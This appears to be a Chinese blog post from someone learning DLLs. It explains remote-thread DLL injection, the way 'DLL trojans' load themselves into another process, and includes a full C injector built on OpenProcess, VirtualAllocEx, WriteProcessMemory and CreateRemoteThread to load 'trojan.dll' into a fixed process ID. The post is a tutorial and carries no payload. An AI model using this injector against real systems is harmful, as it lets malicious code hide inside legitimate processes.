最近学习写DLL,正好看了一些DLL木马的实现,终于把心里很长时间来的迷雾揭了一小层,我没有去编写一个DLL木马,最近比较忙,等有时间了我再好好的掌握一下这个所谓过时了的技术:)
在经典书籍《Windows核心编程》中也有介绍,最近舍友从一个阴暗的角落了翻出这本旧书,竟然没有看过!!我马上把书占为己有:)
DLL木马注入其它进程的方法为远程线程插入。将木马程序写在DLL里,或者说已DLL的形式实现后,用函数CreateRemoteThread插入目标进程的地址空间,用目标进程创建的线程中调用LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。DLL程序没有自己独立的进程地址空间(他的地址空间与目标进程共享),所以在任务管理器里也看不到可疑的进程,不过可以用很多软件查看进程加载的DLL(例如:冰刀,安全卫士360)。用LoadLibrary函数来加载DLL木马程序。
CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。
DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;
(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;
(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;
(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;
(7)清理现场
用代码来将更清楚一些吧,试试就知道了,把trojan.dll插入到某个已知进程中(这里假设进程ID是525,DLL在C:/hongmy525/文件夹下):
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出错处理函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 525;
strcpy(lpDllFullPathName, "C://hongmy525//trojan.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}